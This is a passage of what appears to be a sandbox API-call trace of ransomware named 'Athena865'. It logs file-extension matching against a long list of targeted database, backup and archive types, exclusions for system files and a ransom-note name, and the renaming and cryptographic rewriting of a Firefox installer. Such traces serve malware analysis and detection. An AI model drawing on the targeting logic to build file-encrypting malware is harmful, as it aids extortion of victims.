[0043.781] lstrlenW (lpString="maw") returned 3 [0043.781] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0043.781] lstrlenW (lpString="mdbhtml") returned 7 [0043.781] lstrcmpiW (lpString1="ler.exe", lpString2="mdbhtml") returned -1 [0043.781] lstrlenW (lpString="mdn") returned 3 [0043.782] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0043.782] lstrlenW (lpString="mdt") returned 3 [0043.782] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0043.782] lstrlenW (lpString="mfd") returned 3 [0043.782] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0043.782] lstrlenW (lpString="mpd") returned 3 [0043.782] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0043.782] lstrlenW (lpString="mrg") returned 3 [0043.782] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0043.782] lstrlenW (lpString="mud") returned 3 [0043.782] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0043.782] lstrlenW (lpString="mwb") returned 3 [0043.782] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0043.782] lstrlenW (lpString="myd") returned 3 [0043.782] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0043.782] lstrlenW (lpString="ndf") returned 3 [0043.782] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0043.782] lstrlenW (lpString="nnt") returned 3 [0043.782] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0043.782] lstrlenW (lpString="nrmlib") returned 6 [0043.782] lstrcmpiW (lpString1="er.exe", lpString2="nrmlib") returned -1 [0043.782] lstrlenW (lpString="ns2") returned 3 [0043.782] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0043.782] lstrlenW (lpString="ns3") returned 3 [0043.782] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0043.782] lstrlenW (lpString="ns4") returned 3 [0043.782] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0043.782] lstrlenW (lpString="nsf") returned 3 [0043.782] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0043.782] lstrlenW (lpString="nv") returned 2 [0043.782] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0043.782] lstrlenW (lpString="nv2") returned 3 [0043.782] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0043.782] lstrlenW (lpString="nwdb") returned 4 [0043.783] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0043.783] lstrlenW (lpString="nyf") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0043.783] lstrlenW (lpString="odb") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0043.783] lstrlenW (lpString="odb") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0043.783] lstrlenW (lpString="oqy") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0043.783] lstrlenW (lpString="ora") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0043.783] lstrlenW (lpString="orx") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0043.783] lstrlenW (lpString="owc") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0043.783] lstrlenW (lpString="p96") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0043.783] lstrlenW (lpString="p97") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0043.783] lstrlenW (lpString="pan") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0043.783] lstrlenW (lpString="pdb") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0043.783] lstrlenW (lpString="pdm") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0043.783] lstrlenW (lpString="pnz") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0043.783] lstrlenW (lpString="qry") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0043.783] lstrlenW (lpString="qvd") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0043.783] lstrlenW (lpString="rbf") returned 3 [0043.783] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0043.783] lstrlenW (lpString="rctd") returned 4 [0043.784] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0043.784] lstrlenW (lpString="rod") returned 3 [0043.784] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0043.784] lstrlenW (lpString="rodx") returned 4 [0043.784] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0043.784] lstrlenW (lpString="rpd") returned 3 [0043.784] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0043.784] lstrlenW (lpString="rsd") returned 3 [0043.784] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0043.784] lstrlenW (lpString="sas7bdat") returned 8 [0043.784] lstrcmpiW (lpString1="ller.exe", lpString2="sas7bdat") returned -1 [0043.784] lstrlenW (lpString="sbf") returned 3 [0043.784] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0043.784] lstrlenW (lpString="scx") returned 3 [0043.784] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0043.784] lstrlenW (lpString="sdb") returned 3 [0043.784] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0043.784] lstrlenW (lpString="sdc") returned 3 [0043.784] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0043.784] lstrlenW (lpString="sdf") returned 3 [0043.784] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0043.784] lstrlenW (lpString="sis") returned 3 [0043.784] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0043.784] lstrlenW (lpString="spq") returned 3 [0043.784] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0043.784] lstrlenW (lpString="te") returned 2 [0043.784] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0043.784] lstrlenW (lpString="teacher") returned 7 [0043.784] lstrcmpiW (lpString1="ler.exe", lpString2="teacher") returned -1 [0043.784] lstrlenW (lpString="tmd") returned 3 [0043.784] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0043.784] lstrlenW (lpString="tps") returned 3 [0043.784] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0043.784] lstrlenW (lpString="trc") returned 3 [0043.784] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0043.785] lstrlenW (lpString="trc") returned 3 [0043.785] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0043.785] lstrlenW (lpString="trm") returned 3 [0043.785] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0043.785] lstrlenW (lpString="udb") returned 3 [0043.785] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0043.785] lstrlenW (lpString="udl") returned 3 [0043.785] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0043.785] lstrlenW (lpString="usr") returned 3 [0043.785] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0043.785] lstrlenW (lpString="v12") returned 3 [0043.785] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0043.785] lstrlenW (lpString="vis") returned 3 [0043.785] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0043.785] lstrlenW (lpString="vpd") returned 3 [0043.785] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0043.785] lstrlenW (lpString="vvv") returned 3 [0043.785] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0043.785] lstrlenW (lpString="wdb") returned 3 [0043.785] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0043.785] lstrlenW (lpString="wmdb") returned 4 [0043.785] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0043.785] lstrlenW (lpString="wrk") returned 3 [0043.785] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0043.785] lstrlenW (lpString="xdb") returned 3 [0043.785] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0043.785] lstrlenW (lpString="xld") returned 3 [0043.785] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0043.785] lstrlenW (lpString="xmlff") returned 5 [0043.785] lstrcmpiW (lpString1="r.exe", lpString2="xmlff") returned -1 [0043.785] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe.Athena865") returned 81 [0043.785] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\maintenanceservice_installer.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\maintenanceservice_installer.exe.athena865"), dwFlags=0x1) returned 1 [0043.798] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\maintenanceservice_installer.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0043.798] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=194552) returned 1 [0043.798] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0043.798] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0043.798] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0043.798] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0043.799] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0043.799] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.799] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2fb00, lpName=0x0) returned 0x17c [0043.801] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2fb00) returned 0x170000 [0043.828] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0043.829] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0043.829] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0043.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0043.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0043.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0043.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0043.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0043.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0043.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0043.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0043.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0043.829] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0043.831] CloseHandle (hObject=0x17c) returned 1 [0043.831] CloseHandle (hObject=0x154) returned 1 [0043.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0043.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0043.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0043.835] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2e53f980, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4270, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mozalloc.dll", cAlternateFileName="")) returned 1 [0043.835] lstrcmpiW (lpString1="mozalloc.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0043.835] lstrcmpiW (lpString1="mozalloc.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0043.835] lstrcmpiW (lpString1="mozalloc.dll", lpString2=".") returned 1 [0043.835] lstrcmpiW (lpString1="mozalloc.dll", lpString2="..") returned 1 [0043.835] lstrcmpiW (lpString1="mozalloc.dll", lpString2="windows") returned -1 [0043.835] lstrcmpiW (lpString1="mozalloc.dll", lpString2="bootmgr") returned 1 [0043.835] lstrcmpiW (lpString1="mozalloc.dll", lpString2="temp") returned -1 [0043.835] lstrcmpiW (lpString1="mozalloc.dll", lpString2="pagefile.sys") returned -1 [0043.835] lstrcmpiW (lpString1="mozalloc.dll", lpString2="boot") returned 1 [0043.835] lstrcmpiW (lpString1="mozalloc.dll", lpString2="ids.txt") returned 1 [0043.835] lstrcmpiW (lpString1="mozalloc.dll", lpString2="ntuser.dat") returned -1 [0043.835] lstrcmpiW (lpString1="mozalloc.dll", lpString2="perflogs") returned -1 [0043.835] lstrcmpiW (lpString1="mozalloc.dll", lpString2="MSBuild") returned -1 [0043.835] lstrlenW (lpString="mozalloc.dll") returned 12 [0043.835] lstrcpyW (in: lpString1=0x241e896, lpString2="mozalloc.dll" | out: lpString1="mozalloc.dll") returned="mozalloc.dll" [0043.835] lstrlenW (lpString="mozalloc.dll") returned 12 [0043.835] lstrlenW (lpString="Athena865") returned 9 [0043.835] lstrcmpiW (lpString1="alloc.dll", lpString2="Athena865") returned -1 [0043.835] lstrlenW (lpString=".dll") returned 4 [0043.835] lstrcmpiW (lpString1="mozalloc.dll", lpString2=".dll") returned 1 [0043.835] lstrlenW (lpString=".lnk") returned 4 [0043.836] lstrcmpiW (lpString1="mozalloc.dll", lpString2=".lnk") returned 1 [0043.836] lstrlenW (lpString=".ini") returned 4 [0043.836] lstrcmpiW (lpString1="mozalloc.dll", lpString2=".ini") returned 1 [0043.836] lstrlenW (lpString=".sys") returned 4 [0043.836] lstrcmpiW (lpString1="mozalloc.dll", lpString2=".sys") returned 1 [0043.836] lstrlenW (lpString="mozalloc.dll") returned 12 [0043.836] lstrlenW (lpString="bak") returned 3 [0043.836] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0043.836] lstrlenW (lpString="ba_") returned 3 [0043.836] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0043.836] lstrlenW (lpString="dbb") returned 3 [0043.836] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0043.836] lstrlenW (lpString="vmdk") returned 4 [0043.836] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0043.836] lstrlenW (lpString="rar") returned 3 [0043.836] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0043.836] lstrlenW (lpString="zip") returned 3 [0043.836] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0043.836] lstrlenW (lpString="tgz") returned 3 [0043.836] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0043.836] lstrlenW (lpString="vbox") returned 4 [0043.836] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0043.836] lstrlenW (lpString="vdi") returned 3 [0043.836] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0043.836] lstrlenW (lpString="vhd") returned 3 [0043.836] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0043.836] lstrlenW (lpString="vhdx") returned 4 [0043.836] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0043.836] lstrlenW (lpString="avhd") returned 4 [0043.836] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0043.836] lstrlenW (lpString="db") returned 2 [0043.836] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0043.836] lstrlenW (lpString="db2") returned 3 [0043.836] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0043.836] lstrlenW (lpString="db3") returned 3 [0043.836] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0043.837] lstrlenW (lpString="dbf") returned 3 [0043.837] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0043.837] lstrlenW (lpString="mdf") returned 3 [0043.837] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0043.837] lstrlenW (lpString="mdb") returned 3 [0043.837] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0043.837] lstrlenW (lpString="sql") returned 3 [0043.837] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0043.837] lstrlenW (lpString="sqlite") returned 6 [0043.837] lstrcmpiW (lpString1="oc.dll", lpString2="sqlite") returned -1 [0043.837] lstrlenW (lpString="sqlite3") returned 7 [0043.837] lstrcmpiW (lpString1="loc.dll", lpString2="sqlite3") returned -1 [0043.837] lstrlenW (lpString="sqlitedb") returned 8 [0043.837] lstrcmpiW (lpString1="lloc.dll", lpString2="sqlitedb") returned -1 [0043.837] lstrlenW (lpString="xml") returned 3 [0043.837] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0043.837] lstrlenW (lpString="$er") returned 3 [0043.837] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0043.837] lstrlenW (lpString="4dd") returned 3 [0043.837] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0043.837] lstrlenW (lpString="4dl") returned 3 [0043.837] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0043.837] lstrlenW (lpString="^^^") returned 3 [0043.837] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0043.837] lstrlenW (lpString="abs") returned 3 [0043.837] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0043.837] lstrlenW (lpString="abx") returned 3 [0043.837] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0043.837] lstrlenW (lpString="accdb") returned 5 [0043.837] lstrcmpiW (lpString1="c.dll", lpString2="accdb") returned 1 [0043.837] lstrlenW (lpString="accdc") returned 5 [0043.837] lstrcmpiW (lpString1="c.dll", lpString2="accdc") returned 1 [0043.837] lstrlenW (lpString="accde") returned 5 [0043.837] lstrcmpiW (lpString1="c.dll", lpString2="accde") returned 1 [0043.837] lstrlenW (lpString="accdr") returned 5 [0043.837] lstrcmpiW (lpString1="c.dll", lpString2="accdr") returned 1 [0043.838] lstrlenW (lpString="accdt") returned 5 [0043.838] lstrcmpiW (lpString1="c.dll", lpString2="accdt") returned 1 [0043.838] lstrlenW (lpString="accdw") returned 5 [0043.838] lstrcmpiW (lpString1="c.dll", lpString2="accdw") returned 1 [0043.838] lstrlenW (lpString="accft") returned 5 [0043.838] lstrcmpiW (lpString1="c.dll", lpString2="accft") returned 1 [0043.838] lstrlenW (lpString="adb") returned 3 [0043.838] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0043.838] lstrlenW (lpString="adb") returned 3 [0043.838] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0043.838] lstrlenW (lpString="ade") returned 3 [0043.838] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0043.838] lstrlenW (lpString="adf") returned 3 [0043.838] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0043.838] lstrlenW (lpString="adn") returned 3 [0043.838] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0043.838] lstrlenW (lpString="adp") returned 3 [0043.838] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0043.838] lstrlenW (lpString="alf") returned 3 [0043.838] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0043.838] lstrlenW (lpString="ask") returned 3 [0043.838] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0043.838] lstrlenW (lpString="btr") returned 3 [0043.838] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0043.838] lstrlenW (lpString="cat") returned 3 [0043.838] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0043.839] lstrlenW (lpString="cdb") returned 3 [0043.839] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0043.839] lstrlenW (lpString="ckp") returned 3 [0043.839] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0043.839] lstrlenW (lpString="cma") returned 3 [0043.839] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0043.839] lstrlenW (lpString="cpd") returned 3 [0043.839] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0043.839] lstrlenW (lpString="dacpac") returned 6 [0043.839] lstrcmpiW (lpString1="oc.dll", lpString2="dacpac") returned 1 [0043.839] lstrlenW (lpString="dad") returned 3 [0043.839] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0043.839] lstrlenW (lpString="dadiagrams") returned 10 [0043.839] lstrcmpiW (lpString1="zalloc.dll", lpString2="dadiagrams") returned 1 [0043.839] lstrlenW (lpString="daschema") returned 8 [0043.839] lstrcmpiW (lpString1="lloc.dll", lpString2="daschema") returned 1 [0043.839] lstrlenW (lpString="db-journal") returned 10 [0043.839] lstrcmpiW (lpString1="zalloc.dll", lpString2="db-journal") returned 1 [0043.839] lstrlenW (lpString="db-shm") returned 6 [0043.839] lstrcmpiW (lpString1="oc.dll", lpString2="db-shm") returned 1 [0043.839] lstrlenW (lpString="db-wal") returned 6 [0043.839] lstrcmpiW (lpString1="oc.dll", lpString2="db-wal") returned 1 [0043.839] lstrlenW (lpString="dbc") returned 3 [0043.839] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0043.839] lstrlenW (lpString="dbs") returned 3 [0043.839] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0043.839] lstrlenW (lpString="dbt") returned 3 [0043.839] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0043.839] lstrlenW (lpString="dbv") returned 3 [0043.839] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0043.839] lstrlenW (lpString="dbx") returned 3 [0043.839] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0043.839] lstrlenW (lpString="dcb") returned 3 [0043.839] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0043.839] lstrlenW (lpString="dct") returned 3 [0043.840] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0043.840] lstrlenW (lpString="dcx") returned 3 [0043.840] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0043.840] lstrlenW (lpString="ddl") returned 3 [0043.840] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0043.840] lstrlenW (lpString="dlis") returned 4 [0043.840] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0043.840] lstrlenW (lpString="dp1") returned 3 [0043.840] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0043.840] lstrlenW (lpString="dqy") returned 3 [0043.840] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0043.840] lstrlenW (lpString="dsk") returned 3 [0043.840] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0043.840] lstrlenW (lpString="dsn") returned 3 [0043.840] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0043.840] lstrlenW (lpString="dtsx") returned 4 [0043.840] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0043.840] lstrlenW (lpString="dxl") returned 3 [0043.840] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0043.840] lstrlenW (lpString="eco") returned 3 [0043.840] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0043.840] lstrlenW (lpString="ecx") returned 3 [0043.840] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0043.840] lstrlenW (lpString="edb") returned 3 [0043.840] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0043.840] lstrlenW (lpString="epim") returned 4 [0043.840] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0043.840] lstrlenW (lpString="fcd") returned 3 [0043.840] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0043.840] lstrlenW (lpString="fdb") returned 3 [0043.840] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0043.840] lstrlenW (lpString="fic") returned 3 [0043.840] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0043.840] lstrlenW (lpString="flexolibrary") returned 12 [0043.840] lstrlenW (lpString="fm5") returned 3 [0043.840] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0043.841] lstrlenW (lpString="fmp") returned 3 [0043.841] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0043.841] lstrlenW (lpString="fmp12") returned 5 [0043.841] lstrcmpiW (lpString1="c.dll", lpString2="fmp12") returned -1 [0043.841] lstrlenW (lpString="fmpsl") returned 5 [0043.841] lstrcmpiW (lpString1="c.dll", lpString2="fmpsl") returned -1 [0043.841] lstrlenW (lpString="fol") returned 3 [0043.841] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0043.841] lstrlenW (lpString="fp3") returned 3 [0043.841] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0043.841] lstrlenW (lpString="fp4") returned 3 [0043.841] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0043.841] lstrlenW (lpString="fp5") returned 3 [0043.841] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0043.841] lstrlenW (lpString="fp7") returned 3 [0043.841] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0043.841] lstrlenW (lpString="fpt") returned 3 [0043.841] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0043.841] lstrlenW (lpString="frm") returned 3 [0043.841] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0043.841] lstrlenW (lpString="gdb") returned 3 [0043.841] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0043.841] lstrlenW (lpString="gdb") returned 3 [0043.841] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0043.841] lstrlenW (lpString="grdb") returned 4 [0043.841] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0043.841] lstrlenW (lpString="gwi") returned 3 [0043.841] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0043.841] lstrlenW (lpString="hdb") returned 3 [0043.841] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0043.841] lstrlenW (lpString="his") returned 3 [0043.841] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0043.841] lstrlenW (lpString="ib") returned 2 [0043.841] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0043.841] lstrlenW (lpString="idb") returned 3 [0043.841] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0043.841] lstrlenW (lpString="ihx") returned 3 [0043.842] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0043.842] lstrlenW (lpString="itdb") returned 4 [0043.842] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0043.842] lstrlenW (lpString="itw") returned 3 [0043.842] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0043.842] lstrlenW (lpString="jet") returned 3 [0043.842] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0043.842] lstrlenW (lpString="jtx") returned 3 [0043.842] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0043.842] lstrlenW (lpString="kdb") returned 3 [0043.842] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0043.842] lstrlenW (lpString="kexi") returned 4 [0043.842] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0043.842] lstrlenW (lpString="kexic") returned 5 [0043.842] lstrcmpiW (lpString1="c.dll", lpString2="kexic") returned -1 [0043.842] lstrlenW (lpString="kexis") returned 5 [0043.842] lstrcmpiW (lpString1="c.dll", lpString2="kexis") returned -1 [0043.842] lstrlenW (lpString="lgc") returned 3 [0043.842] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0043.842] lstrlenW (lpString="lwx") returned 3 [0043.842] lstrcmpiW 